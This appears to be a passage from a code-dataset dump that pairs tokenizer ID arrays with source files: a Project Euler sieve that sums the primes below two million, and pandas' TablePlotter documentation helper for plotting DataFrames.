13, 462, 259, 350, 29889, 517, 29918, 23749, 29898, 4299, 29889, 20865, 511, 13, 462, 259, 18177, 29897, 13, 1678, 11916, 353, 330, 862, 29889, 11249, 29898, 29916, 29892, 18177, 29892, 954, 29918, 27736, 29922, 1949, 29918, 27736, 29892, 13446, 29922, 5574, 29897, 13, 13, 1678, 396, 11796, 29872, 29190, 936, 2099, 322, 1059, 22306, 363, 27303, 310, 3405, 1237, 29889, 13, 1678, 11916, 29918, 5066, 353, 350, 29889, 1429, 10456, 27736, 29892, 9685, 29922, 29900, 29897, 13, 1678, 2099, 29918, 5066, 353, 350, 29889, 12676, 29898, 27736, 29918, 5066, 29892, 9685, 29922, 29900, 29897, 13, 1678, 4589, 29918, 5066, 353, 29871, 29906, 334, 350, 29889, 4172, 29898, 27736, 29918, 5066, 29892, 9685, 29922, 29900, 29897, 13, 13, 1678, 396, 4103, 689, 304, 15500, 2913, 29889, 13, 1678, 11916, 353, 350, 29889, 1429, 10456, 29961, 11249, 732, 298, 29889, 29911, 363, 4559, 297, 11916, 1402, 9685, 29922, 29900, 29897, 13, 13, 1678, 396, 11796, 29872, 29190, 936, 2099, 322, 1059, 22306, 363, 27303, 297, 15500, 13, 1678, 396, 2913, 29889, 13, 1678, 2099, 353, 350, 29889, 12676, 29898, 27736, 29892, 9685, 29922, 29900, 29897, 13, 1678, 4589, 353, 29871, 29906, 334, 350, 29889, 4172, 29898, 27736, 29892, 9685, 29922, 29900, 29897, 13, 13, 1678, 736, 5135, 12676, 29918, 5066, 29892, 2099, 29918, 5066, 448, 4589, 29918, 5066, 29892, 2099, 29918, 5066, 718, 4589, 29918, 5066, 511, 13, 9651, 313, 12676, 29892, 2099, 448, 4589, 29892, 2099, 718, 4589, 876, 13, 13, 13, 29937, 27313, 6694, 29889, 13, 2541, 281, 29890, 828, 29889, 449, 29889, 13438, 877, 18743, 6694, 29374, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 25103, 1988, 742, 302, 29880, 828, 29898, 4270, 876, 13, 1678, 7186, 29889, 2158, 580, 13, 1195, 326, 895, 29918, 29880, 29918, 1635, 3174, 29918, 29890, 29898, 12938, 828, 29892, 7186, 29892, 9637, 29922, 5574, 29892, 372, 414, 29922, 29896, 29900, 29900, 29900, 29897, 13, 2541, 281, 29890, 828, 29889, 449, 29889, 13438, 877, 13555, 6694, 29374, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 25103, 1988, 742, 302, 29880, 828, 29898, 4270, 876, 13, 1678, 7186, 29889, 2158, 580, 13, 13, 29937, 27313, 18988, 29889, 13, 2541, 281, 29890, 828, 29889, 449, 29889, 13438, 877, 23084, 919, 292, 29374, 13, 1678, 5135, 12676, 29918, 5066, 29892, 5224, 29918, 5066, 29892, 7568, 29918, 5066, 511, 13, 268, 313, 12676, 29892, 5224, 29892, 7568, 876, 353, 8500, 29898, 4270, 29892, 921, 29897, 13, 13, 29937, 18399, 27303, 363, 3405, 296, 10174, 29889, 13, 572, 29873, 29889, 4532, 29898, 1003, 2311, 7607, 29896, 29906, 29892, 29871, 29947, 876, 13, 1949, 353, 938, 29898, 9302, 29889, 27696, 29898, 29885, 3579, 869, 29945, 876, 13, 26290, 29918, 5066, 353, 350, 29889, 517, 29918, 23749, 29898, 4282, 29898, 4270, 467, 20865, 29897, 13, 1454, 474, 297, 3464, 29898, 1195, 29898, 29885, 29892, 954, 334, 954, 22164, 13, 1678, 14770, 29889, 1491, 5317, 29898, 1949, 29892, 954, 29892, 474, 718, 29871, 29896, 29897, 13, 1678, 14770, 29889, 1557, 2620, 29898, 29916, 29892, 20881, 29918, 5066, 7503, 29892, 474, 1402, 3858, 2433, 6039, 2140, 800, 742, 274, 2433, 8517, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 2099, 29918, 5066, 7503, 29892, 474, 1402, 3858, 2433, 23084, 2463, 742, 274, 2433, 3891, 29901, 9539, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 5224, 29918, 5066, 7503, 29892, 474, 1402, 274, 2433, 3891, 29901, 9539, 742, 19375, 2433, 489, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 7568, 29918, 5066, 7503, 29892, 474, 1402, 274, 2433, 3891, 29901, 9539, 742, 19375, 2433, 489, 1495, 13, 1678, 281, 29890, 828, 29889, 5317, 29889, 29873, 25129, 29898, 26172, 29922, 8824, 29897, 13, 13, 29937, 18399, 27303, 29889, 13, 572, 29873, 29889, 4532, 29898, 1003, 2311, 7607, 29896, 29906, 29892, 29871, 29947, 876, 13, 1949, 353, 938, 29898, 9302, 29889, 27696, 29898, 29886, 3579, 869, 29945, 876, 13, 1454, 474, 297, 3464, 29898, 1195, 29898, 29886, 29892, 954, 334, 954, 22164, 13, 1678, 14770, 29889, 1491, 5317, 29898, 1949, 29892, 954, 29892, 474, 718, 29871, 29896, 29897, 13, 1678, 14770, 29889, 1557, 2620, 29898, 29916, 29961, 12772, 29896, 29918, 29876, 1402, 343, 29961, 12772, 29896, 29918, 29876, 29892, 474, 1402, 3858, 2433, 6039, 2140, 800, 742, 274, 2433, 8517, 1495, 13, 1678, 565, 474, 297, 1399, 29879, 29906, 29918, 29886, 29901, 13, 4706, 14770, 29889, 1557, 2620, 29898, 29916, 29961, 12772, 29906, 29918, 29876, 1402, 343, 29961, 12772, 29906, 29918, 29876, 29892, 474, 1402, 3858, 2433, 6039, 2140, 800, 742, 274, 2433, 8517, 1495, 13, 1678, 1683, 29901, 13, 4706, 14770, 29889, 1557, 2620, 29898, 29916, 29961, 12772, 29906, 29918, 29876, 1402, 343, 29961, 12772, 29906, 29918, 29876, 29892, 474, 1402, 274, 2433, 3891, 29901, 1127, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 2099, 7503, 29892, 474, 1402, 3858, 2433, 23084, 2463, 742, 274, 2433, 3891, 29901, 9539, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 5224, 7503, 29892, 474, 1402, 274, 2433, 3891, 29901, 9539, 742, 19375, 2433, 489, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 7568, 7503, 29892, 474, 1402, 274, 2433, 3891, 29901, 9539, 742, 19375, 2433, 489, 1495, 13, 1678, 281, 29890, 828, 29889, 5317, 29889, 29873, 25129, 29898, 26172, 29922, 8824, 29897, 13, 13, 572, 29873, 29889, 4294, 580, 13, 2 ]
001-100/10/10-sieve.py
junwei-wang/project-euler
0
157292
<filename>001-100/10/10-sieve.py #!/usr/bin/env python # -*- coding: utf-8 -*- from math import sqrt, ceil num = 2000000 sevie = [True] * num # 0, 1, 2, 3, ..., 1999999 sevie[0] = False sevie[1] = False for i in range(3, num): if i & 1 == 0: sevie[i] = False # a number has at most one factor than its squre sqr = int(ceil(sqrt(num))) for i in range(3, sqr): if sevie[i]: # start from the prime multiple: 3i with step: 2i for j in range(3*i, num, 2*i): sevie[j] = False sum = 0 for idx, val in enumerate(sevie): if val: sum += idx print sum
[ 1, 529, 9507, 29958, 29900, 29900, 29896, 29899, 29896, 29900, 29900, 29914, 29896, 29900, 29914, 29896, 29900, 29899, 29879, 2418, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 3166, 5844, 1053, 18074, 2273, 29892, 2257, 309, 13, 13, 1949, 353, 29871, 29906, 29900, 29900, 29900, 29900, 29900, 29900, 13, 344, 25965, 353, 518, 5574, 29962, 334, 954, 396, 29871, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 2023, 29892, 29871, 29896, 29929, 29929, 29929, 29929, 29929, 29929, 13, 13, 344, 25965, 29961, 29900, 29962, 353, 7700, 13, 344, 25965, 29961, 29896, 29962, 353, 7700, 13, 1454, 474, 297, 3464, 29898, 29941, 29892, 954, 1125, 13, 1678, 565, 474, 669, 29871, 29896, 1275, 29871, 29900, 29901, 13, 4706, 409, 25965, 29961, 29875, 29962, 353, 7700, 13, 13, 29937, 263, 1353, 756, 472, 1556, 697, 7329, 1135, 967, 10674, 276, 13, 3044, 29878, 353, 938, 29898, 27696, 29898, 3676, 29898, 1949, 4961, 13, 1454, 474, 297, 3464, 29898, 29941, 29892, 18074, 29878, 1125, 13, 1678, 565, 409, 25965, 29961, 29875, 5387, 13, 4706, 396, 1369, 515, 278, 6019, 2999, 29901, 29871, 29941, 29875, 411, 4331, 29901, 29871, 29906, 29875, 13, 4706, 363, 432, 297, 3464, 29898, 29941, 29930, 29875, 29892, 954, 29892, 29871, 29906, 29930, 29875, 1125, 13, 9651, 409, 25965, 29961, 29926, 29962, 353, 7700, 13, 13, 2083, 353, 29871, 29900, 13, 1454, 22645, 29892, 659, 297, 26985, 29898, 344, 25965, 1125, 13, 1678, 565, 659, 29901, 13, 4706, 2533, 4619, 22645, 13, 13, 2158, 2533, 13, 2 ]
PythonAPI/carissma_project/lib/python3.5/site-packages/pandas/util/_doctools.py
AbdulHoffmann/carla_carissma
6,989
135472
import numpy as np import pandas.compat as compat import pandas as pd class TablePlotter(object): """ Layout some DataFrames in vertical/horizontal layout for explanation. Used in merging.rst """ def __init__(self, cell_width=0.37, cell_height=0.25, font_size=7.5): self.cell_width = cell_width self.cell_height = cell_height self.font_size = font_size def _shape(self, df): """ Calculate table chape considering index levels. """ row, col = df.shape return row + df.columns.nlevels, col + df.index.nlevels def _get_cells(self, left, right, vertical): """ Calculate appropriate figure size based on left and right data. """ if vertical: # calculate required number of cells vcells = max(sum(self._shape(l)[0] for l in left), self._shape(right)[0]) hcells = (max(self._shape(l)[1] for l in left) + self._shape(right)[1]) else: vcells = max([self._shape(l)[0] for l in left] + [self._shape(right)[0]]) hcells = sum([self._shape(l)[1] for l in left] + [self._shape(right)[1]]) return hcells, vcells def plot(self, left, right, labels=None, vertical=True): """ Plot left / right DataFrames in specified layout. Parameters ---------- left : list of DataFrames before operation is applied right : DataFrame of operation result labels : list of str to be drawn as titles of left DataFrames vertical : bool If True, use vertical layout. If False, use horizontal layout. """ import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec if not isinstance(left, list): left = [left] left = [self._conv(l) for l in left] right = self._conv(right) hcells, vcells = self._get_cells(left, right, vertical) if vertical: figsize = self.cell_width * hcells, self.cell_height * vcells else: # include margin for titles figsize = self.cell_width * hcells, self.cell_height * vcells fig = plt.figure(figsize=figsize) if vertical: gs = gridspec.GridSpec(len(left), hcells) # left max_left_cols = max(self._shape(l)[1] for l in left) max_left_rows = max(self._shape(l)[0] for l in left) for i, (l, label) in enumerate(zip(left, labels)): ax = fig.add_subplot(gs[i, 0:max_left_cols]) self._make_table(ax, l, title=label, height=1.0 / max_left_rows) # right ax = plt.subplot(gs[:, max_left_cols:]) self._make_table(ax, right, title='Result', height=1.05 / vcells) fig.subplots_adjust(top=0.9, bottom=0.05, left=0.05, right=0.95) else: max_rows = max(self._shape(df)[0] for df in left + [right]) height = 1.0 / np.max(max_rows) gs = gridspec.GridSpec(1, hcells) # left i = 0 for l, label in zip(left, labels): sp = self._shape(l) ax = fig.add_subplot(gs[0, i:i + sp[1]]) self._make_table(ax, l, title=label, height=height) i += sp[1] # right ax = plt.subplot(gs[0, i:]) self._make_table(ax, right, title='Result', height=height) fig.subplots_adjust(top=0.85, bottom=0.05, left=0.05, right=0.95) return fig def _conv(self, data): """Convert each input to appropriate for table outplot""" if isinstance(data, pd.Series): if data.name is None: data = data.to_frame(name='') else: data = data.to_frame() data = data.fillna('NaN') return data def _insert_index(self, data): # insert is destructive data = data.copy() idx_nlevels = data.index.nlevels if idx_nlevels == 1: data.insert(0, 'Index', data.index) else: for i in range(idx_nlevels): data.insert(i, 'Index{0}'.format(i), data.index._get_level_values(i)) col_nlevels = data.columns.nlevels if col_nlevels > 1: col = data.columns._get_level_values(0) values = [data.columns._get_level_values(i).values for i in range(1, col_nlevels)] col_df = pd.DataFrame(values) data.columns = col_df.columns data = pd.concat([col_df, data]) data.columns = col return data def _make_table(self, ax, df, title, height=None): if df is None: ax.set_visible(False) return import pandas.plotting as plotting idx_nlevels = df.index.nlevels col_nlevels = df.columns.nlevels # must be convert here to get index levels for colorization df = self._insert_index(df) tb = plotting.table(ax, df, loc=9) tb.set_fontsize(self.font_size) if height is None: height = 1.0 / (len(df) + 1) props = tb.properties() for (r, c), cell in compat.iteritems(props['celld']): if c == -1: cell.set_visible(False) elif r < col_nlevels and c < idx_nlevels: cell.set_visible(False) elif r < col_nlevels or c < idx_nlevels: cell.set_facecolor('#AAAAAA') cell.set_height(height) ax.set_title(title, size=self.font_size) ax.axis('off') class _WritableDoc(type): # Remove this when Python2 support is dropped # __doc__ is not mutable for new-style classes in Python2, which means # we can't use @Appender to share class docstrings. This can be used # with `add_metaclass` to make cls.__doc__ mutable. pass if __name__ == "__main__": import matplotlib.pyplot as plt p = TablePlotter() df1 = pd.DataFrame({'A': [10, 11, 12], 'B': [20, 21, 22], 'C': [30, 31, 32]}) df2 = pd.DataFrame({'A': [10, 12], 'C': [30, 32]}) p.plot([df1, df2], pd.concat([df1, df2]), labels=['df1', 'df2'], vertical=True) plt.show() df3 = pd.DataFrame({'X': [10, 12], 'Z': [30, 32]}) p.plot([df1, df3], pd.concat([df1, df3], axis=1), labels=['df1', 'df2'], vertical=False) plt.show() idx = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B'), (1, 'C'), (2, 'A'), (2, 'B'), (2, 'C')]) col = pd.MultiIndex.from_tuples([(1, 'A'), (1, 'B')]) df3 = pd.DataFrame({'v1': [1, 2, 3, 4, 5, 6], 'v2': [5, 6, 7, 8, 9, 10]}, index=idx) df3.columns = col p.plot(df3, df3, labels=['df3']) plt.show()
[ 1, 1053, 12655, 408, 7442, 13, 13, 5215, 11701, 29889, 12667, 408, 10007, 13, 13, 5215, 11701, 408, 10518, 13, 13, 13, 1990, 6137, 20867, 357, 29898, 3318, 1125, 13, 1678, 9995, 13, 1678, 20259, 777, 3630, 14438, 1280, 297, 11408, 29914, 22672, 5912, 363, 8252, 29889, 13, 1678, 501, 8485, 297, 2778, 3460, 29889, 29878, 303, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3038, 29918, 2103, 29922, 29900, 29889, 29941, 29955, 29892, 3038, 29918, 3545, 29922, 29900, 29889, 29906, 29945, 29892, 4079, 29918, 2311, 29922, 29955, 29889, 29945, 1125, 13, 4706, 1583, 29889, 3729, 29918, 2103, 353, 3038, 29918, 2103, 13, 4706, 1583, 29889, 3729, 29918, 3545, 353, 3038, 29918, 3545, 13, 4706, 1583, 29889, 5657, 29918, 2311, 353, 4079, 29918, 2311, 13, 13, 1678, 822, 903, 12181, 29898, 1311, 29892, 4489, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 1591, 521, 4085, 13858, 2380, 11174, 29889, 13, 4706, 9995, 13, 13, 4706, 1948, 29892, 784, 353, 4489, 29889, 12181, 13, 4706, 736, 1948, 718, 4489, 29889, 13099, 29889, 29876, 5563, 29879, 29892, 784, 718, 4489, 29889, 2248, 29889, 29876, 5563, 29879, 13, 13, 1678, 822, 903, 657, 29918, 3729, 29879, 29898, 1311, 29892, 2175, 29892, 1492, 29892, 11408, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 8210, 4377, 2159, 2729, 373, 2175, 322, 1492, 848, 29889, 13, 4706, 9995, 13, 13, 4706, 565, 11408, 29901, 13, 9651, 396, 8147, 3734, 1353, 310, 9101, 13, 9651, 325, 3729, 29879, 353, 4236, 29898, 2083, 29898, 1311, 3032, 12181, 29898, 29880, 9601, 29900, 29962, 363, 301, 297, 2175, 511, 13, 462, 308, 1583, 3032, 12181, 29898, 1266, 9601, 29900, 2314, 13, 9651, 298, 3729, 29879, 353, 313, 3317, 29898, 1311, 3032, 12181, 29898, 29880, 9601, 29896, 29962, 363, 301, 297, 2175, 29897, 718, 13, 462, 418, 1583, 3032, 12181, 29898, 1266, 9601, 29896, 2314, 13, 4706, 1683, 29901, 13, 9651, 325, 3729, 29879, 353, 4236, 4197, 1311, 3032, 12181, 29898, 29880, 9601, 29900, 29962, 363, 301, 297, 2175, 29962, 718, 13, 462, 308, 518, 1311, 3032, 12181, 29898, 1266, 9601, 29900, 24960, 13, 9651, 298, 3729, 29879, 353, 2533, 4197, 1311, 3032, 12181, 29898, 29880, 9601, 29896, 29962, 363, 301, 297, 2175, 29962, 718, 13, 462, 308, 518, 1311, 3032, 12181, 29898, 1266, 9601, 29896, 24960, 13, 4706, 736, 298, 3729, 29879, 29892, 325, 3729, 29879, 13, 13, 1678, 822, 6492, 29898, 1311, 29892, 2175, 29892, 1492, 29892, 11073, 29922, 8516, 29892, 11408, 29922, 5574, 1125, 13, 4706, 9995, 13, 4706, 18399, 2175, 847, 1492, 3630, 14438, 1280, 297, 6790, 5912, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 2175, 584, 1051, 310, 3630, 14438, 1280, 1434, 5858, 338, 7436, 13, 4706, 1492, 584, 3630, 4308, 310, 5858, 1121, 13, 4706, 11073, 584, 1051, 310, 851, 304, 367, 12061, 408, 17735, 310, 2175, 3630, 14438, 1280, 13, 4706, 11408, 584, 6120, 13, 9651, 960, 5852, 29892, 671, 11408, 5912, 29889, 960, 7700, 29892, 671, 14698, 5912, 29889, 13, 4706, 9995, 13, 4706, 1053, 22889, 29889, 2272, 5317, 408, 14770, 13, 4706, 1053, 22889, 29889, 629, 4841, 3135, 408, 867, 4841, 3135, 13, 13, 4706, 565, 451, 338, 8758, 29898, 1563, 29892, 1051, 1125, 13, 9651, 2175, 353, 518, 1563, 29962, 13, 4706, 2175, 353, 518, 1311, 3032, 20580, 29898, 29880, 29897, 363, 301, 297, 2175, 29962, 13, 4706, 1492, 353, 1583, 3032, 20580, 29898, 1266, 29897, 13, 13, 4706, 298, 3729, 29879, 29892, 325, 3729, 29879, 353, 1583, 3032, 657, 29918, 3729, 29879, 29898, 1563, 29892, 1492, 29892, 11408, 29897, 13, 13, 4706, 565, 11408, 29901, 13, 9651, 2537, 2311, 353, 1583, 29889, 3729, 29918, 2103, 334, 298, 3729, 29879, 29892, 1583, 29889, 3729, 29918, 3545, 334, 325, 3729, 29879, 13, 4706, 1683, 29901, 13, 9651, 396, 3160, 5906, 363, 17735, 13, 9651, 2537, 2311, 353, 1583, 29889, 3729, 29918, 2103, 334, 298, 3729, 29879, 29892, 1583, 29889, 3729, 29918, 3545, 334, 325, 3729, 29879, 13, 4706, 2537, 353, 14770, 29889, 4532, 29898, 1003, 2311, 29922, 1003, 2311, 29897, 13, 13, 4706, 565, 11408, 29901, 13, 9651, 330, 29879, 353, 867, 4841, 3135, 29889, 5756, 10299, 29898, 2435, 29898, 1563, 511, 298, 3729, 29879, 29897, 13, 9651, 396, 2175, 13, 9651, 4236, 29918, 1563, 29918, 22724, 353, 4236, 29898, 1311, 3032, 12181, 29898, 29880, 9601, 29896, 29962, 363, 301, 297, 2175, 29897, 13, 9651, 4236, 29918, 1563, 29918, 5727, 353, 4236, 29898, 1311, 3032, 12181, 29898, 29880, 9601, 29900, 29962, 363, 301, 297, 2175, 29897, 13, 9651, 363, 474, 29892, 313, 29880, 29892, 3858, 29897, 297, 26985, 29898, 7554, 29898, 1563, 29892, 11073, 22164, 13, 18884, 4853, 353, 2537, 29889, 1202, 29918, 1491, 5317, 29898, 3174, 29961, 29875, 29892, 29871, 29900, 29901, 3317, 29918, 1563, 29918, 22724, 2314, 13, 18884, 1583, 3032, 5675, 29918, 2371, 29898, 1165, 29892, 301, 29892, 3611, 29922, 1643, 29892, 13, 462, 462, 3171, 29922, 29896, 29889, 29900, 847, 4236, 29918, 1563, 29918, 5727, 29897, 13, 9651, 396, 1492, 13, 9651, 4853, 353, 14770, 29889, 1491, 5317, 29898, 3174, 7503, 29892, 4236, 29918, 1563, 29918, 22724, 29901, 2314, 13, 9651, 1583, 3032, 5675, 29918, 2371, 29898, 1165, 29892, 1492, 29892, 3611, 2433, 3591, 742, 3171, 29922, 29896, 29889, 29900, 29945, 847, 325, 3729, 29879, 29897, 13, 9651, 2537, 29889, 1491, 26762, 29918, 328, 5143, 29898, 3332, 29922, 29900, 29889, 29929, 29892, 5970, 29922, 29900, 29889, 29900, 29945, 29892, 2175, 29922, 29900, 29889, 29900, 29945, 29892, 1492, 29922, 29900, 29889, 29929, 29945, 29897, 13, 4706, 1683, 29901, 13, 9651, 4236, 29918, 5727, 353, 4236, 29898, 1311, 3032, 12181, 29898, 2176, 9601, 29900, 29962, 363, 4489, 297, 2175, 718, 518, 1266, 2314, 13, 9651, 3171, 353, 29871, 29896, 29889, 29900, 847, 7442, 29889, 3317, 29898, 3317, 29918, 5727, 29897, 13, 9651, 330, 29879, 353, 867, 4841, 3135, 29889, 5756, 10299, 29898, 29896, 29892, 298, 3729, 29879, 29897, 13, 9651, 396, 2175, 13, 9651, 474, 353, 29871, 29900, 13, 9651, 363, 301, 29892, 3858, 297, 14319, 29898, 1563, 29892, 11073, 1125, 13, 18884, 805, 353, 1583, 3032, 12181, 29898, 29880, 29897, 13, 18884, 4853, 353, 2537, 29889, 1202, 29918, 1491, 5317, 29898, 3174, 29961, 29900, 29892, 474, 29901, 29875, 718, 805, 29961, 29896, 24960, 13, 18884, 1583, 3032, 5675, 29918, 2371, 29898, 1165, 29892, 301, 29892, 3611, 29922, 1643, 29892, 3171, 29922, 3545, 29897, 13, 18884, 474, 4619, 805, 29961, 29896, 29962, 13, 9651, 396, 1492, 13, 9651, 4853, 353, 14770, 29889, 1491, 5317, 29898, 3174, 29961, 29900, 29892, 474, 29901, 2314, 13, 9651, 1583, 3032, 5675, 29918, 2371, 29898, 1165, 29892, 1492, 29892, 3611, 2433, 3591, 742, 3171, 29922, 3545, 29897, 13, 9651, 2537, 29889, 1491, 26762, 29918, 328, 5143, 29898, 3332, 29922, 29900, 29889, 29947, 29945, 29892, 5970, 29922, 29900, 29889, 29900, 29945, 29892, 2175, 29922, 29900, 29889, 29900, 29945, 29892, 1492, 29922, 29900, 29889, 29929, 29945, 29897, 13, 13, 4706, 736, 2537, 13, 13, 1678, 822, 903, 20580, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 18455, 1269, 1881, 304, 8210, 363, 1591, 714, 5317, 15945, 29908, 13, 4706, 565, 338, 8758, 29898, 1272, 29892, 10518, 29889, 19204, 1125, 13, 9651, 565, 848, 29889, 978, 338, 6213, 29901, 13, 18884, 848, 353, 848, 29889, 517, 29918, 2557, 29898, 978, 2433, 1495, 13, 9651, 1683, 29901, 13, 18884, 848, 353, 848, 29889, 517, 29918, 2557, 580, 13, 4706, 848, 353, 848, 29889, 5589, 1056, 877, 19377, 1495, 13, 4706, 736, 848, 13, 13, 1678, 822, 903, 7851, 29918, 2248, 29898, 1311, 29892, 848, 1125, 13, 4706, 396, 4635, 338, 17912, 573, 13, 4706, 848, 353, 848, 29889, 8552, 580, 13, 4706, 22645, 29918, 29876, 5563, 29879, 353, 848, 29889, 2248, 29889, 29876, 5563, 29879, 13, 4706, 565, 22645, 29918, 29876, 5563, 29879, 1275, 29871, 29896, 29901, 13, 9651, 848, 29889, 7851, 29898, 29900, 29892, 525, 3220, 742, 848, 29889, 2248, 29897, 13, 4706, 1683, 29901, 13, 9651, 363, 474, 297, 3464, 29898, 13140, 29918, 29876, 5563, 29879, 1125, 13, 18884, 848, 29889, 7851, 29898, 29875, 29892, 525, 3220, 29912, 29900, 29913, 4286, 4830, 29898, 29875, 511, 13, 462, 9651, 848, 29889, 2248, 3032, 657, 29918, 5563, 29918, 5975, 29898, 29875, 876, 13, 13, 4706, 784, 29918, 29876, 5563, 29879, 353, 848, 29889, 13099, 29889, 29876, 5563, 29879, 13, 4706, 565, 784, 29918, 29876, 5563, 29879, 1405, 29871, 29896, 29901, 13, 9651, 784, 353, 848, 29889, 13099, 3032, 657, 29918, 5563, 29918, 5975, 29898, 29900, 29897, 13, 9651, 1819, 353, 518, 1272, 29889, 13099, 3032, 657, 29918, 5563, 29918, 5975, 29898, 29875, 467, 5975, 13, 462, 418, 363, 474, 297, 3464, 29898, 29896, 29892, 784, 29918, 29876, 5563, 29879, 4638, 13, 9651, 784, 29918, 2176, 353, 10518, 29889, 17271, 29898, 5975, 29897, 13, 9651, 848, 29889, 13099, 353, 784, 29918, 2176, 29889, 13099, 13, 9651, 848, 353, 10518, 29889, 17685, 4197, 1054, 29918, 2176, 29892, 848, 2314, 13, 9651, 848, 29889, 13099, 353, 784, 13, 4706, 736, 848, 13, 13, 1678, 822, 903, 5675, 29918, 2371, 29898, 1311, 29892, 4853, 29892, 4489, 29892, 3611, 29892, 3171, 29922, 8516, 1125, 13, 4706, 565, 4489, 338, 6213, 29901, 13, 9651, 4853, 29889, 842, 29918, 12872, 29898, 8824, 29897, 13, 9651, 736, 13, 13, 4706, 1053, 11701, 29889, 5317, 1259, 408, 6492, 1259, 13, 13, 4706, 22645, 29918, 29876, 5563, 29879, 353, 4489, 29889, 2248, 29889, 29876, 5563, 29879, 13, 4706, 784, 29918, 29876, 5563, 29879, 353, 4489, 29889, 13099, 29889, 29876, 5563, 29879, 13, 4706, 396, 1818, 367, 3588, 1244, 304, 679, 2380, 11174, 363, 2927, 2133, 13, 4706, 4489, 353, 1583, 3032, 7851, 29918, 2248, 29898, 2176, 29897, 13, 4706, 260, 29890, 353, 6492, 1259, 29889, 2371, 29898, 1165, 29892, 4489, 29892, 1180, 29922, 29929, 29897, 13, 4706, 260, 29890, 29889, 842, 29918, 5657, 2311, 29898, 1311, 29889, 5657, 29918, 2311, 29897, 13, 13, 4706, 565, 3171, 338, 6213, 29901, 13, 9651, 3171, 353, 29871, 29896, 29889, 29900, 847, 313, 2435, 29898, 2176, 29897, 718, 29871, 29896, 29897, 13, 13, 4706, 17761, 353, 260, 29890, 29889, 11330, 580, 13, 4706, 363, 313, 29878, 29892, 274, 511, 3038, 297, 10007, 29889, 1524, 7076, 29898, 11030, 1839, 2242, 430, 2033, 1125, 13, 9651, 565, 274, 1275, 448, 29896, 29901, 13, 18884, 3038, 29889, 842, 29918, 12872, 29898, 8824, 29897, 13, 9651, 25342, 364, 529, 784, 29918, 29876, 5563, 29879, 322, 274, 529, 22645, 29918, 29876, 5563, 29879, 29901, 13, 18884, 3038, 29889, 842, 29918, 12872, 29898, 8824, 29897, 13, 9651, 25342, 364, 529, 784, 29918, 29876, 5563, 29879, 470, 274, 529, 22645, 29918, 29876, 5563, 29879, 29901, 13, 18884, 3038, 29889, 842, 29918, 2161, 2780, 14237, 23184, 6344, 1495, 13, 9651, 3038, 29889, 842, 29918, 3545, 29898, 3545, 29897, 13, 13, 4706, 4853, 29889, 842, 29918, 3257, 29898, 3257, 29892, 2159, 29922, 1311, 29889, 5657, 29918, 2311, 29897, 13, 4706, 4853, 29889, 8990, 877, 2696, 1495, 13, 13, 13, 1990, 903, 29956, 768, 519, 14526, 29898, 1853, 1125, 13, 1678, 396, 15154, 445, 746, 5132, 29906, 2304, 338, 13700, 13, 1678, 396, 4770, 1514, 1649, 338, 451, 26691, 363, 716, 29899, 3293, 4413, 297, 5132, 29906, 29892, 607, 2794, 13, 1678, 396, 591, 508, 29915, 29873, 671, 732, 2052, 1581, 304, 6232, 770, 1574, 19651, 29889, 910, 508, 367, 1304, 13, 1678, 396, 411, 421, 1202, 29918, 2527, 562, 605, 29952, 304, 1207, 1067, 29879, 17255, 1514, 1649, 26691, 29889, 13, 1678, 1209, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1053, 22889, 29889, 2272, 5317, 408, 14770, 13, 13, 1678, 282, 353, 6137, 20867, 357, 580, 13, 13, 1678, 4489, 29896, 353, 10518, 29889, 17271, 3319, 29915, 29909, 2396, 518, 29896, 29900, 29892, 29871, 29896, 29896, 29892, 29871, 29896, 29906, 1402, 13, 462, 4706, 525, 29933, 2396, 518, 29906, 29900, 29892, 29871, 29906, 29896, 29892, 29871, 29906, 29906, 1402, 13, 462, 4706, 525, 29907, 2396, 518, 29941, 29900, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29906, 29962, 1800, 13, 1678, 4489, 29906, 353, 10518, 29889, 17271, 3319, 29915, 29909, 2396, 518, 29896, 29900, 29892, 29871, 29896, 29906, 1402, 13, 462, 4706, 525, 29907, 2396, 518, 29941, 29900, 29892, 29871, 29941, 29906, 29962, 1800, 13, 13, 1678, 282, 29889, 5317, 4197, 2176, 29896, 29892, 4489, 29906, 1402, 10518, 29889, 17685, 4197, 2176, 29896, 29892, 4489, 29906, 11724, 13, 965, 11073, 29922, 1839, 2176, 29896, 742, 525, 2176, 29906, 7464, 11408, 29922, 5574, 29897, 13, 1678, 14770, 29889, 4294, 580, 13, 13, 1678, 4489, 29941, 353, 10518, 29889, 17271, 3319, 29915, 29990, 2396, 518, 29896, 29900, 29892, 29871, 29896, 29906, 1402, 13, 462, 4706, 525, 29999, 2396, 518, 29941, 29900, 29892, 29871, 29941, 29906, 29962, 1800, 13, 13, 1678, 282, 29889, 5317, 4197, 2176, 29896, 29892, 4489, 29941, 1402, 10518, 29889, 17685, 4197, 2176, 29896, 29892, 4489, 29941, 1402, 9685, 29922, 29896, 511, 13, 965, 11073, 29922, 1839, 2176, 29896, 742, 525, 2176, 29906, 7464, 11408, 29922, 8824, 29897, 13, 1678, 14770, 29889, 4294, 580, 13, 13, 1678, 22645, 353, 10518, 29889, 15329, 3220, 29889, 3166, 29918, 9161, 2701, 4197, 29898, 29896, 29892, 525, 29909, 5477, 313, 29896, 29892, 525, 29933, 5477, 313, 29896, 